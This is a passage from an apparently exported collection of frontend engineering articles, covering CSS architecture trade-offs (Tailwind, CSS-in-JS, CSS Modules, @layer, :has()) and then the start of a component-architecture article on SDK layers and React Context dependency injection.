Performance claims are dramatic—up to 200x faster than Tailwind's v3 JIT—though the practical difference is negligible since both produce sub-second builds. The real differentiator is extensibility: UnoCSS lets teams define entirely custom utility systems, while Tailwind provides a fixed vocabulary with escape hatches.

### Utility-First Limitations

**HTML readability.** Utility-heavy markup is visually dense. A styled button can accumulate 10-15 classes. This is the most common criticism and the primary source of team resistance.

**Learning curve.** Developers must learn the utility vocabulary (Tailwind has ~500 core utilities). The payoff is speed after the learning curve—but the curve is real.

**Design drift without tokens.** Arbitrary value syntax (`w-[137px]`) bypasses the design token system. Without team discipline or linting, arbitrary values proliferate and consistency degrades. The `eslint-plugin-tailwindcss` and Tailwind's `--strict` mode help enforce token usage.

**Responsive and state complexity.** Variants stack: `sm:hover:dark:focus-visible:ring-2` is valid but difficult to parse visually. This compounds the readability issue for complex responsive designs.

## CSS-in-JS: Co-location with Tradeoffs

CSS-in-JS (CSS-in-JavaScript) emerged from the React ecosystem's desire to co-locate styles with component logic. The approach eliminates naming collisions through generated class names and enables dynamic styling through JavaScript expressions.

### Runtime CSS-in-JS: styled-components and Emotion

styled-components (released 2016 by Max Stoiber and Glen Maddern) and Emotion (released 2017 by Kye Hohenberger) dominate the runtime category. Both generate CSS at render time and inject it into the document via `<style>` tags or CSSOM (CSS Object Model) APIs.

```tsx title="styled-components-example.tsx" collapse={1-3}
import styled from "styled-components"

// CSS is generated at runtime and injected into <style> tags
const Button = styled.button<{ $primary?: boolean }>`
  padding: 0.5rem 1rem;
  border-radius: 0.375rem;
  background: ${(props) => (props.$primary ? "#2563eb" : "transparent")};
  color: ${(props) => (props.$primary ? "white" : "#2563eb")};
  border: 1px solid #2563eb;
`
```

**The runtime cost is real.** Every render that touches styled components triggers:

1. Template literal parsing (or object style evaluation)
2. CSS string generation with interpolated prop values
3. Class name hashing
4. Style injection into the CSSOM or `<style>` tags
5. Browser style recalculation and layout

Sam Magura's widely-cited 2022 analysis "Why We're Breaking Up with CSS-in-JS" (written as a maintainer of Emotion) measured the overhead directly: Emotion rendered a representative component in 54 ms on average, versus 27.7 ms with Sass Modules—nearly a 2x slowdown. The team migrated to CSS Modules with Sass. Airbnb ran a similar migration from `react-with-styles` to Linaria; A/B testing on ~10% of homepage components showed +1.6% Total Blocking Time (TBT) improvement, with internal benchmarks projecting +16% TBT improvement at full migration.

**Bundle size overhead.** Runtime libraries add non-trivial weight to the JavaScript bundle:

| Library | Gzipped Size | Runtime Cost |
| --- | --- | --- |
| styled-components | ~15-20 KB | Style serialization + injection per render |
| Emotion (@emotion/react + styled) | ~11-13 KB | Style serialization + injection per render |
| Linaria | < 1 KB | Class name utility only |
| vanilla-extract | 0 KB | Build-time extraction, no runtime |
| CSS Modules | 0 KB | Build-time extraction, no runtime |

**Server-Side Rendering (SSR) complications.** Runtime CSS-in-JS requires collecting generated styles during server rendering and injecting them into the HTML response to avoid a Flash of Unstyled Content (FOUC). styled-components' `ServerStyleSheet` and Emotion's `extractCritical` add complexity to the SSR pipeline. React 18's streaming SSR (`renderToPipeableStream`) compounds this: HTML is sent chunk by chunk, but runtime CSS-in-JS needs all styles resolved before the `<head>` is sent. React 18 introduced `useInsertionEffect` specifically for CSS-in-JS style injection, but styled-components never adopted it—one reason Sanity's fork (`@sanity/styled-components`) achieves ~40% faster renders.

**React Server Components (RSC) incompatibility.** RSC forbids client-side JavaScript, Context, and hooks in server components. Runtime CSS-in-JS depends on all three: JavaScript for style serialization, Context for theming (`<ThemeProvider>`), and `useInsertionEffect` for injection. This makes styled-components and Emotion incompatible with the RSC model—styles can only run in `"use client"` components, fundamentally limiting RSC adoption. styled-components entered maintenance mode in early 2025; no new features will be developed. MUI (Material UI) announced their next major version will move to Pigment CSS, a zero-runtime solution, and eventually drop Emotion support.

### Zero-Runtime CSS-in-JS: Build-Time Extraction

The "CSS-in-JS backlash" drove a new generation of tools that preserve co-location but eliminate runtime cost by extracting static CSS at build time.

**vanilla-extract** (Mark Dalgleish, co-creator of CSS Modules) uses TypeScript files (`.css.ts`) that compile to static CSS. Styles are type-safe, locally scoped, and produce zero runtime JavaScript:

```ts title="button.css.ts" collapse={1-2}
import { style } from "@vanilla-extract/css"

export const button = style({
  padding: "0.5rem 1rem",
  borderRadius: "0.375rem",
  background: "#2563eb",
  color: "white",
  ":hover": { background: "#1d4ed8" },
})
```

The build step compiles this to a `.css` file with hashed class names. The exported `button` is just a string containing the generated class name. Zero runtime, full type safety.

**StyleX** (Meta, open-sourced 2023) takes co-location further with atomic CSS generation. Styles defined in JavaScript compile to single-property atomic classes, identical in output to what Tailwind produces:

```tsx title="stylex-example.tsx" collapse={1-2}
import * as stylex from "@stylexjs/stylex"

const styles = stylex.create({
  button: {
    padding: "0.5rem 1rem",
    borderRadius: "0.375rem",
    backgroundColor: "#2563eb",
    color: "white",
  },
})

// Usage: <button {...stylex.props(styles.button)} />
```

Meta reports that StyleX reduced their CSS bundle size by ~80% across Facebook, Instagram, WhatsApp, and Threads. The key insight: atomic CSS growth is sub-linear. As the codebase grows, new components increasingly reuse existing atomic classes rather than generating new ones.

**Panda CSS** (Segun Adebayo, creator of Chakra UI) bridges the styled-components API with build-time extraction. It supports both the object syntax and a `styled` API but compiles to static atomic CSS. Panda also generates a type-safe token system from its configuration.

### CSS Modules: The Middle Ground

CSS Modules (Glen Maddern and Mark Dalgleish, 2015) provide local scoping through build-time class name hashing without requiring styles to be written in JavaScript. Styles stay in `.module.css` files; imports return an object mapping original class names to hashed versions.

```css title="button.module.css"
.primary {
  padding: 0.5rem 1rem;
  border-radius: 0.375rem;
  background: #2563eb;
  color: white;
}

.primary:hover {
  background: #1d4ed8;
}
```

```tsx title="button.tsx" collapse={1-2}
import styles from "./button.module.css"

// styles.primary → "button_primary_x7f2a" (hashed, unique)
export const Button = () => <button className={styles.primary}>Click</button>
```

**Why CSS Modules endure:** They solve scoping and dead code elimination without changing how you write CSS. No new syntax, no runtime, no framework lock-in. Vite, webpack, Next.js, and Astro all support them natively. When Spot migrated away from Emotion, they chose CSS Modules—not because it was the most innovative option, but because it had the lowest adoption cost.

**Limitations:** CSS Modules do not support dynamic styles based on props (you need conditional `className` logic or CSS custom properties). They do not produce atomic CSS, so bundle size scales linearly with the number of unique style declarations.

## Modern CSS Platform Features

Several CSS specifications, now supported across all major browsers, are changing the architecture calculus.

### Cascade Layers (@layer)

The CSS Cascading and Inheritance Level 5 specification (W3C) introduced `@layer`, supported in all major browsers since March 2022 (Chrome 99, Firefox 97, Safari 15.4).

Cascade Layers are evaluated *before* specificity in the cascade algorithm. A rule in a later-declared layer overrides a rule in an earlier layer, regardless of selector specificity:

```css title="cascade-layers.css"
@layer base, components, utilities;

@layer base {
  button { color: gray; }       /* specificity: 0,0,1 */
}

@layer utilities {
  .text-blue { color: blue; }   /* specificity: 0,1,0 — but layer order wins */
}

/* .text-blue overrides button's color, even though
   element selectors and class selectors have different specificity,
   because 'utilities' is declared after 'base' */
```

This eliminates the specificity wars that BEM and ITCSS were invented to manage. Tailwind CSS v4 uses `@layer` natively. Teams can now define explicit layer ordering for their CSS architecture without relying on file import order or naming discipline.

### Native CSS Nesting

CSS Nesting (W3C specification, supported since Chrome 120, Firefox 117, Safari 17.2 — late 2023) brings Sass-style nesting to native CSS:

```css title="native-nesting.css"
.card {
  padding: 1rem;
  border: 1px solid var(--color-border);

  & .title {
    font-weight: 600;
  }

  &:hover {
    border-color: var(--color-accent);
  }

  @media (width >= 768px) {
    padding: 1.5rem;
  }
}
```

Native nesting reduces the need for Sass/Less as preprocessors—the primary reason most teams adopted them. Combined with CSS custom properties for variables and `@layer` for organization, the preprocessor value proposition is narrowing to mixins and loops.

### @scope

The CSS `@scope` rule (Chrome 118+, Edge 118+; Firefox and Safari support still in progress as of 2025) provides proximity-based scoping—styles apply based on DOM proximity to a scope root, not just selector matching:

```css title="css-scope.css"
@scope (.card) to (.card-footer) {
  /* Styles apply inside .card but stop at .card-footer */
  p { color: var(--color-text); }
}
```

This is different from Shadow DOM encapsulation (which creates a hard boundary) and CSS Modules (which hashes names). `@scope` provides soft, proximity-based containment that respects the cascade. It is particularly useful for component libraries that need scoped defaults without blocking overrides.

### :has() — The Parent Selector

The `:has()` relational pseudo-class (Chrome 105+, Firefox 121+, Safari 15.4+) enables selection based on descendants—effectively the "parent selector" CSS lacked for decades:

```css title="has-selector.css"
/* Style the form when it contains an invalid input */
.form:has(:invalid) {
  border-color: var(--color-error);
}

/* Style a card differently when it contains an image */
.card:has(img) {
  grid-template-rows: auto 1fr;
}
```

`:has()` reduces the need for JavaScript-driven state classes and eliminates patterns like adding `.has-image` via JS during rendering.

### Impact on Architecture Choices

These platform features do not make existing strategies obsolete, but they shift the cost-benefit analysis:

| Problem | Old Solution | Platform Solution |
| --- | --- | --- |
| Specificity conflicts | BEM flat selectors, ITCSS import order | `@layer` (deterministic cascade ordering) |
| Preprocessor dependency | Sass nesting, variables, imports | Native nesting, CSS custom properties, `@import` |
| Component scoping | CSS Modules, Shadow DOM, CSS-in-JS | `@scope` (proximity-based, cascade-aware) |
| Parent selection | JS class toggling, data attributes | `:has()` pseudo-class |
| Design tokens | Sass variables, JS config | CSS custom properties (runtime-accessible) |

Teams starting new projects in 2025+ can rely on platform features that previously required tooling. The "no build step" option is more viable than it has been in a decade.

## Migration Strategies

### BEM to Utility-First

The most common migration path. Teams typically adopt an incremental approach:

1. **Introduce utilities alongside BEM.** Use `@layer` to ensure utilities override BEM styles. New components use utilities; existing components keep BEM until touched.
2. **Extract design tokens.** Map BEM variable values to CSS custom properties (or Tailwind `@theme` tokens). This ensures visual consistency during the transition.
3. **Convert on touch.** When a BEM component is modified for a feature or bug fix, convert it to utilities. This amortizes migration cost across feature work.
4. **Lint for convergence.** Add stylelint rules that warn on new BEM-style selectors in files outside a legacy directory. This prevents regression.

The risk: partial migration means two mental models coexist. Define a clear boundary (e.g., "all files in `src/components/` use utilities; legacy pages keep BEM") and enforce it.

### Runtime CSS-in-JS to Zero-Runtime or CSS Modules

This migration is driven by performance concerns, RSC compatibility, or both. The Spot team's migration from Emotion to CSS Modules followed this pattern:

1. **Audit dynamic style usage.** Categorize styled-component instances as static (no prop interpolation) or dynamic. Static components are straightforward to convert; dynamic ones require CSS custom properties or conditional class names.
2. **Introduce CSS Modules alongside CSS-in-JS.** Both can coexist in the same project. New components use CSS Modules; existing ones migrate on touch.
3. **Replace dynamic styles with CSS custom properties.** Instead of `background: ${props => props.color}`, use `style={{ '--btn-color': props.color }}` and `background: var(--btn-color)` in CSS. This preserves dynamic behavior without runtime CSS generation.
4. **Remove the runtime.** Once all components are migrated, remove styled-components/Emotion from dependencies. Verify SSR/hydration behavior—removing runtime CSS-in-JS often simplifies the SSR pipeline significantly.

### The Migration Anti-Pattern

Avoid "big bang" rewrites. CSS migrations that attempt to convert the entire codebase in one pass invariably introduce visual regressions that are difficult to catch without comprehensive visual regression testing (e.g., Chromatic, Percy, BackstopJS). Incremental migration with clear boundaries is always safer.

## Decision Framework

No CSS architecture is universally superior. The right choice depends on project constraints.

### Primary Decision Factors

**Team composition and scale.** Naming conventions (BEM) have the lowest tooling barrier but the highest coordination cost—they depend on every developer following the convention. Utility-first has a learning curve (~1-2 weeks for Tailwind vocabulary) but enforces consistency through constrained choices. CSS-in-JS has the highest tooling complexity but the lowest coordination cost—scoping is automatic.

**Build pipeline tolerance.** If you cannot add build tooling (static HTML, email templates, CMS embeds), naming conventions are the only option. If you have a modern bundler (Vite, webpack, Turbopack), all options are available.

**Dynamic styling requirements.** If components need styles driven by runtime data (user-configurable themes, data-driven visualizations, drag-and-drop positioning), CSS custom properties or CSS-in-JS are necessary. Utility classes handle responsive and state variants well but struggle with truly arbitrary runtime values.

**Framework alignment.** React projects align well with CSS-in-JS (co-location) or CSS Modules. Tailwind works across all frameworks but pairs especially well with component frameworks where the component is the deduplication mechanism. Server-first frameworks (Astro, 11ty) favor utility-first or CSS Modules since they avoid client-side runtime.

**Performance budget.** Runtime CSS-in-JS adds measurable overhead (8-17% render cost per Spot's measurements). If your performance budget is tight—especially on mobile—zero-runtime solutions (CSS Modules, vanilla-extract, Tailwind, StyleX) are preferable.

### Decision Matrix

| Factor | BEM / Convention | Utility-First | CSS Modules | CSS-in-JS (Zero-RT) | CSS-in-JS (Runtime) |
| --- | --- | --- | --- | --- | --- |
| **Build step required** | No | Yes | Yes | Yes | Yes |
| **Scoping mechanism** | Convention | N/A (no names) | Automatic | Automatic | Automatic |
| **Dead code elimination** | Manual | Automatic | Automatic | Automatic | Bundler-dependent |
| **Dynamic styles** | CSS variables | CSS variables | CSS variables | CSS variables | Native (JS) |
| **Type safety** | No | No | Partial | Full (vanilla-extract) | Partial |
| **Runtime cost** | None | None | None | None | Moderate |
| **RSC compatible** | Yes | Yes | Yes | Yes | No (client only) |
| **Team onboarding** | Low | Medium | Low | High | Medium |
| **Design system fit** | Good | Excellent | Good | Excellent | Good |

### The Convergence Trend

The boundaries between paradigms are blurring. StyleX generates atomic CSS from JavaScript—the same output as Tailwind, from a CSS-in-JS authoring model. Tailwind v4 uses CSS-native configuration—closer to "just CSS" than any previous version. CSS Modules with CSS custom properties handle most dynamic styling needs that once required CSS-in-JS. And `@layer` provides the cascade ordering that BEM and ITCSS achieved through convention.

The direction is clear: **static CSS extraction with build-time optimization**. Whether you write `bg-blue-500` in a template, `style({ background: 'blue' })` in TypeScript, or `.button { background: blue }` in a CSS Module, the compiled output converges toward small, scoped, cacheable CSS. The authoring model is a team preference; the output is increasingly the same.

## Conclusion

CSS architecture choices are ultimately about where you want to pay complexity costs. BEM pays at the convention layer—human discipline maintains order. Utility-first pays at the learning layer—developers internalize a vocabulary of constraints. CSS-in-JS pays at the tooling layer—build pipelines generate scoped, optimized output.

Modern CSS platform features (`@layer`, nesting, `@scope`, `:has()`, custom properties) are steadily reducing the problems that drove the adoption of each paradigm. The long-term trajectory favors approaches that produce static, atomic CSS—whether authored as utility classes, TypeScript style objects, or CSS Modules. Runtime style generation is the strategy under the most pressure, squeezed between zero-runtime alternatives that match its ergonomics and platform features that close its capability gaps.

For teams choosing today: start with your constraints (build step? framework? dynamic requirements?), filter the decision matrix, and optimize for the authoring model your team can sustain. The compiled CSS matters less than the development velocity and consistency your team achieves with the chosen approach.

## Appendix

### Prerequisites

- CSS specificity model (how the cascade resolves conflicts)
- CSS selectors (class, element, combinator, pseudo-class syntax)
- Component-based UI architecture (React, Vue, Svelte, or Astro components)
- Build tooling fundamentals (bundlers, PostCSS, or CSS preprocessors)

### Terminology

- **BEM** — Block Element Modifier; a CSS naming convention encoding component structure into class names
- **OOCSS** — Object-Oriented CSS; methodology separating structure from skin and container from content
- **SMACSS** — Scalable and Modular Architecture for CSS; categorizes rules into Base, Layout, Module, State, Theme
- **ITCSS** — Inverted Triangle CSS; orders CSS from generic to specific in a specificity pyramid
- **CUBE CSS** — Composition Utility Block Exception; hybrid methodology combining utilities with named blocks for exceptions
- **CSS-in-JS** — Authoring CSS within JavaScript files; styles are co-located with component logic
- **Atomic CSS** — Single-purpose utility classes mapping one class to one CSS property-value pair
- **Cascade Layers** — CSS `@layer` mechanism for deterministic cascade ordering independent of specificity
- **CSSOM** — CSS Object Model; browser API for programmatic style manipulation
- **RSC** — React Server Components; server-rendered components that forbid client-side JavaScript
- **JIT** — Just-In-Time compilation; generates CSS only for classes found in templates at build time
- **FOUC** — Flash of Unstyled Content; visible rendering before styles are applied

### Summary

- CSS architecture is fundamentally about dependency direction: does CSS mirror HTML structure, or does HTML compose CSS primitives?
- BEM and naming conventions solve specificity and naming through human discipline—effective when enforced, fragile when not
- Utility-first CSS (Tailwind v4, UnoCSS) inverts the dependency: HTML composes fixed-vocabulary classes, enabling automatic dead code elimination and design consistency
- Runtime CSS-in-JS (styled-components, Emotion) co-locates styles with components but adds measurable render overhead and is incompatible with React Server Components
- Zero-runtime CSS-in-JS (vanilla-extract, StyleX, Panda CSS) preserves co-location while compiling to static CSS—converging with utility-first at the output level
- Modern CSS features (`@layer`, nesting, `@scope`, `:has()`) are reducing the problems that drove adoption of each paradigm, making "platform CSS" increasingly viable

### References

- [W3C CSS Cascading and Inheritance Level 5](https://www.w3.org/TR/css-cascade-5/) — `@layer` specification
- [W3C CSS Nesting Module](https://www.w3.org/TR/css-nesting-1/) — Native nesting specification
- [W3C CSS Cascading and Inheritance Level 6](https://www.w3.org/TR/css-cascade-6/) — `@scope` specification
- [W3C Selectors Level 4](https://www.w3.org/TR/selectors-4/#relational) — `:has()` pseudo-class specification
- [Adam Wathan — CSS Utility Classes and Separation of Concerns (2017)](https://adamwathan.me/css-utility-classes-and-separation-of-concerns/) — Original utility-first argument
- [Tailwind CSS v4.0 Blog Post](https://tailwindcss.com/blog/tailwindcss-v4) — Oxide engine and CSS-first config
- [Tailwind CSS Documentation — Theme Configuration](https://tailwindcss.com/docs/theme) — `@theme` directive and design tokens
- [Sam Magura — Why We're Breaking Up with CSS-in-JS (2022)](https://dev.to/srmagura/why-were-breaking-up-wiht-css-in-js-4g9b) — Emotion maintainer's performance analysis
- [Airbnb Engineering — Airbnb's Trip to Linaria](https://medium.com/airbnb-engineering/airbnbs-trip-to-linaria-dc169230bd12) — Runtime to zero-runtime migration with A/B test data
- [Meta Engineering — Introducing StyleX](https://stylexjs.com/blog/introducing-stylex) — Atomic CSS-in-JS at Meta scale
- [vanilla-extract Documentation](https://vanilla-extract.style/) — Type-safe zero-runtime CSS-in-JS
- [Mark Dalgleish — CSS Modules (2015)](https://github.com/css-modules/css-modules) — Original CSS Modules specification
- [Andy Bell — CUBE CSS](https://cube.fyi/) — Composition Utility Block Exception methodology
- [Harry Roberts — ITCSS: Scalable and Maintainable CSS Architecture](https://www.creativebloq.com/web-design/manage-large-css-projects-itcss-101517528) — Inverted Triangle CSS
- [Nicole Sullivan — Object-Oriented CSS](https://github.com/stubbornella/oocss/wiki) — OOCSS principles
- [Anthony Fu — Reimagine Atomic CSS](https://antfu.me/posts/reimagine-atomic-css) — UnoCSS design rationale
- [Smashing Magazine — CSS Cascade Layers, BEM, and Utility Classes](https://www.smashingmagazine.com/2025/06/css-cascade-layers-bem-utility-classes-specificity-control/) — Practical comparison

---

## Component Architecture Blueprint for Scalable UI

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/frontend-architecture-patterns/component-architecture-blueprint
**Category:** Frontend Engineering / Frontend Architecture & Patterns
**Description:** Modern frontend applications face a common challenge: as codebases grow, coupling between UI components, business logic, and framework-specific APIs creates maintenance nightmares and testing friction. This architecture addresses these issues through strict layering, dependency injection via React Context, and boundary enforcement via ESLint.

# Component Architecture Blueprint for Scalable UI

Modern frontend applications face a common challenge: as codebases grow, coupling between UI components, business logic, and framework-specific APIs creates maintenance nightmares and testing friction. This architecture addresses these issues through strict layering, dependency injection via React Context, and boundary enforcement via ESLint.

<figure>

![Architecture overview: SDK Layer and Design System (Primitives) are independent with no dependencies. The Application Shell initializes SDK implementations, which are then injected via React Context into Blocks and Widgets. Each page type has its own widget registry for code splitting.](./architecture-overview-sdk-layer-and-design-system-primitives-are-independent-wit.svg)

<figcaption>Architecture overview: SDK Layer and Design System (Primitives) are independent with no dependencies. The Application Shell initializes SDK implementations, which are then injected via React Context into Blocks and Widgets. Each page type has its own widget registry for code splitting.</figcaption>

</figure>

## Abstract

<figure>

![Core mental model: Inversion of Control enables testability, layered boundaries prevent coupling, and SDK abstractions enable framework migration.](./core-mental-model-inversion-of-control-enables-testability-layered-boundaries-pr.svg)

<figcaption>Core mental model: Inversion of Control enables testability, layered boundaries prevent coupling, and SDK abstractions enable framework migration.</figcaption>

</figure>

The architecture answers three questions:

1. **How do I test components without mocking framework internals?** → Inject all external dependencies via React Context. Tests provide mock implementations.
2. **How do I prevent "spaghetti" imports across layers?** → Define architectural boundaries (Primitives → Blocks → Widgets) and enforce them with `eslint-plugin-boundaries`.
3. **How do I migrate between frameworks (Next.js ↔ Remix)?** → Wrap framework APIs in SDK interfaces. Business logic uses SDKs, never framework code directly.

**When this pattern pays off:** Multi-team applications, component libraries shared across apps, or codebases expecting framework migration. For single-team apps with no migration plans, the indirection may not be worth the complexity.

---

## Design Principles

### 1. Framework Agnosticism

Components should not directly depend on meta-framework APIs (Next.js, Remix, etc.). Instead, framework-specific functionality is accessed through SDK abstractions.

**Why this design choice?**

The constraint stems from framework churn—Next.js App Router (2023), Remix v2 (2023), and React Server Components changed routing and data-fetching APIs significantly. Direct coupling means rewriting business logic with each migration.

The SDK abstraction trades initial velocity for portability: ~15% more boilerplate upfront, but framework migration becomes implementation swaps rather than component rewrites.

**Example:**

```typescript
// ❌ Bad: Direct framework dependency
import { useRouter } from "next/navigation"
const router = useRouter()
router.push("/products")

// ✅ Good: SDK abstraction
import { useAppRouter } from "@sdk/router"
const router = useAppRouter()
router.push("/products")
```

### 2. Boundary Control

Each architectural layer has explicit rules about what it can import. These rules are enforced through tooling, not just documentation.

**Why this design choice?**

Documentation-only boundaries fail at scale. Without enforcement, developers under deadline pressure take shortcuts ("just import this one widget"). Over months, the architecture diagram diverges from reality.

Using `eslint-plugin-boundaries` (5.x+) makes boundary violations CI failures, not code review debates. The cost: stricter lint rules and occasional refactoring to move shared code to the correct layer.

### 3. Testability First

All external dependencies (HTTP clients, analytics, state management) are injected via providers, making components easy to test in isolation.

**Why this design choice?**

Framework mocking is brittle. Mocking `next/navigation` or `@remix-run/react` couples tests to framework internals that change between versions. When Next.js 13 changed from `useRouter` (pages) to `useRouter` (app router) with different APIs, tests using direct mocks broke.

Injecting dependencies via Context inverts the control: tests provide mock implementations, components remain agnostic. The trade-off is an additional provider layer in the component tree.

### 4. Single Responsibility

Each layer has one clear purpose:

- **Primitives**: Visual presentation
- **Blocks**: Business logic + UI composition
- **Widgets**: Backend contract interpretation + page composition
- **SDKs**: Cross-cutting concerns abstraction

### 5. Explicit Public APIs

Every module exposes its public API through a barrel file (`index.ts`). Internal implementation details are not importable from outside the module.

**Why this design choice?**

Without explicit exports, any file can import any internal function. Over time, internal helpers get used externally, making refactoring break consumers. Barrel files create a contract: only exported symbols are public API.

> **⚠️ Trade-off: Barrel Files and Performance**
>
> Barrel files can negatively impact development performance. As of Vite 5.x (2024+) and Webpack 5.x:
>
> - **Development mode:** Vite does NOT tree-shake in dev mode. Large barrel files cause 5-10 second HMR (Hot Module Replacement) delays as the entire module graph reloads.
> - **Production builds:** Tree-shaking works correctly with `"sideEffects": false` in `package.json`. Production bundles are unaffected.
>
> **Mitigations:**
>
> - For SDK/internal packages (loaded at app root): Barrel files are acceptable—dev performance hit is minimal since they're imported once.
> - For component libraries: Use `package.json` `exports` field with multiple entry points instead of barrel files.
> - For Next.js 14+: Enable `optimizePackageImports` in `next.config.js` to auto-optimize barrel imports.
>
> See [TkDodo's analysis](https://tkdodo.eu/blog/please-stop-using-barrel-files) for detailed benchmarks.

---

## Architecture Overview

### Layer Diagram

```txt
┌─────────────────────────────────────────────────────────────────────────┐
│  Application Shell (Next.js / Remix / Vite)                             │
│  • Routing, SSR/SSG, Build configuration                                │
│  • Provides SDK implementations                                         │
└─────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼ provides implementations
┌─────────────────────────────────────────────────────────────────────────┐
│  SDK Layer (@sdk/*)                                                     │
│  • Defines interfaces for cross-cutting concerns                        │
│  • Analytics, Routing, HTTP, State, Experiments                         │
│  • Framework-agnostic contracts                                         │
└─────────────────────────────────────────────────────────────────────────┘
          │                         │                         │
          ▼                         ▼                         ▼
┌─────────────────┐    ┌─────────────────────┐    ┌──────────────────────┐
│  Design System  │    │  Blocks Layer       │    │  Widgets Layer       │
│  (@company-name │◄───│  (@blocks/*)        │◄───│  (@widgets/*)        │
│  /design-system)│    │                     │    │                      │
│                 │    │  Business logic     │    │  BFF contract impl   │
│  Pure UI        │    │  Domain components  │    │  Page sections       │
└─────────────────┘    └─────────────────────┘    └──────────────────────┘
                                                             │
                                                             ▼
                                              ┌──────────────────────────┐
                                              │  Registries              │
                                              │  (@registries/*)         │
                                              │                          │
                                              │  Page-specific widget    │
                                              │  mappings                │
                                              └──────────────────────────┘
```

### Dependency Flow

```txt
Primitives ← Blocks ← Widgets ← Registries ← Layout Engine ← Pages
                ↑         ↑
                └─────────┴──── SDKs (injectable at all levels)
```

### Import Rules Matrix

| Source Layer                    | Can Import                                    | Cannot Import                                   |
| ------------------------------- | --------------------------------------------- | ----------------------------------------------- |
| **@sdk/\***                     | External libraries only                       | @blocks, @widgets, @registries                  |
| **@company-name/design-system** | Nothing from app                              | Everything in app                               |
| **@blocks/\***                  | Design system, @sdk/_, sibling @blocks/_      | @widgets/_, @registries/_                       |
| **@widgets/\***                 | Design system, @sdk/_, @blocks/_              | @registries/_, sibling @widgets/_ (discouraged) |
| **@registries/\***              | @widgets/\* (lazy imports only)               | @blocks/\* directly                             |
| **@layout/\***                  | Design system, @registries/\*, @widgets/types | @blocks/\*                                      |

---

## Layer Definitions

### Layer 0: SDKs (Cross-Cutting Concerns)

**Purpose:** Provide framework-agnostic abstractions for horizontal concerns.

**Characteristics:**

- Define TypeScript interfaces (contracts)
- Expose React hooks for consumption
- Implementations provided at application level
- No direct dependencies on application code

**Examples:**

- `@sdk/analytics` - Event tracking, page views, user identification
- `@sdk/experiments` - Feature flags, A/B testing
- `@sdk/router` - Navigation, URL parameters
- `@sdk/http` - API client abstraction
- `@sdk/state` - Global state management

### Layer 1: Primitives (Design System)

**Purpose:** Provide generic, reusable UI components.

**Characteristics:**

- No business logic
- No side effects
- No domain-specific assumptions
- Fully accessible and themeable
- Lives in a separate repository/package

**Examples:**

- Button, Input, Select, Checkbox
- Card, Modal, Drawer, Tooltip
- Typography, Grid, Stack, Divider
- Icons, Animations, Transitions

### Layer 2: Blocks (Business Components)

**Purpose:** Compose Primitives with business logic to create reusable domain components.

**Characteristics:**

- Business-aware but not page-specific
- Reusable across multiple widgets
- Can perform side effects via SDK hooks
- Contains domain validation and formatting
- Includes analytics and tracking

**Examples:**

- ProductCard, ProductPrice, ProductRating
- AddToCartButton, WishlistButton
- UserAvatar, UserMenu
- SearchInput, FilterChip

**When to Create a Block:**

- Component is used in 2+ widgets
- Component has business logic (not just styling)
- Component needs analytics/tracking
- Component interacts with global state

### Layer 3: Widgets (Page Sections)

**Purpose:** Implement BFF widget contracts and compose the page.

**Characteristics:**

- 1:1 mapping with BFF widget types
- Receives payload from backend
- Composes Blocks to render complete features
- Handles widget-level concerns (pagination, error states)
- Registered in page-specific registries

**Examples:**

- HeroBannerWidget, ProductCarouselWidget
- ProductGridWidget, FilterPanelWidget
- RecommendationsWidget, RecentlyViewedWidget
- ReviewsWidget, FAQWidget

### Layer 4: Registries (Widget Mapping)

**Purpose:** Map BFF widget types to component implementations per page type.

**Characteristics:**

- Page-specific (different widgets on different pages)
- Lazy-loaded components for code splitting
- Configurable error boundaries and loading states
- Simple Record<string, WidgetConfig> structure

---

## Internal SDKs

SDKs are the key to framework agnosticism. They define **what** your components need, while the application shell provides **how** it's implemented.

> **Version Context (React 18+):** This pattern uses React Context for dependency injection. As of React 18 and React 19 (December 2024), Context remains the recommended approach for injecting services (not state). React 19's Compiler can auto-memoize context values, but the `useMemo` pattern shown below remains compatible and is required for React 18.
>
> **Prior approach:** Before React 16.3 (2018), prop drilling or third-party DI containers (InversifyJS, tsyringe) were common. Context made DI a first-class React pattern.

### SDK Structure

```
src/sdk/
├── index.ts                     # Re-exports all SDK hooks
├── core/
│   ├── sdk.types.ts             # Combined SDK interface
│   ├── sdk.provider.tsx         # Root provider
│   └── sdk.context.ts           # Shared context utilities
├── analytics/
│   ├── analytics.types.ts       # Interface definition
│   ├── analytics.provider.tsx   # Context provider
│   ├── analytics.hooks.ts       # useAnalytics() hook
│   └── index.ts                 # Public exports
├── experiments/
│   ├── experiments.types.ts
│   ├── experiments.provider.tsx
│   ├── experiments.hooks.ts
│   └── index.ts
├── router/
│   ├── router.types.ts
│   ├── router.provider.tsx
│   ├── router.hooks.ts
│   └── index.ts
├── http/
│   ├── http.types.ts
│   ├── http.provider.tsx
│   ├── http.hooks.ts
│   └── index.ts
├── state/
│   ├── state.types.ts
│   ├── state.provider.tsx
│   ├── state.hooks.ts
│   └── index.ts
└── testing/
    ├── test-sdk.provider.tsx    # Test wrapper
    ├── create-mock-sdk.ts       # Mock factory
    └── index.ts
```

### SDK Interface Definitions

```typescript
// src/sdk/core/sdk.types.ts

export interface SdkServices {
  analytics: AnalyticsSdk
  experiments: ExperimentsSdk
  router: RouterSdk
  http: HttpSdk
  state: StateSdk
}
```

```typescript
// src/sdk/analytics/analytics.types.ts

export interface AnalyticsSdk {
  /**
   * Track a custom event
   */
  track(event: string, properties?: Record<string, unknown>): void

  /**
   * Track a page view
   */
  trackPageView(page: string, properties?: Record<string, unknown>): void

  /**
   * Track component impression (visibility)
   */
  trackImpression(componentId: string, properties?: Record<string, unknown>): void

  /**
   * Identify a user for analytics
   */
  identify(userId: string, traits?: Record<string, unknown>): void
}
```

```typescript
// src/sdk/experiments/experiments.types.ts

export interface ExperimentsSdk {
  /**
   * Get the variant for an experiment
   * @returns variant name or null if not enrolled
   */
  getVariant(experimentId: string): string | null

  /**
   * Check if a feature flag is enabled
   */
  isFeatureEnabled(featureFlag: string): boolean

  /**
   * Track that user was exposed to an experiment
   */
  trackExposure(experimentId: string, variant: string): void
}
```

```typescript
// src/sdk/router/router.types.ts

export interface RouterSdk {
  /**
   * Navigate to a new URL (adds to history)
   */
  push(path: string): void

  /**
   * Replace current URL (no history entry)
   */
  replace(path: string): void

  /**
   * Go back in history
   */
  back(): void

  /**
   * Prefetch a route for faster navigation
   */
  prefetch(path: string): void

  /**
   * Current pathname
   */
  pathname: string

  /**
   * Current query parameters
   */
  query: Record<string, string | string[]>
}
```

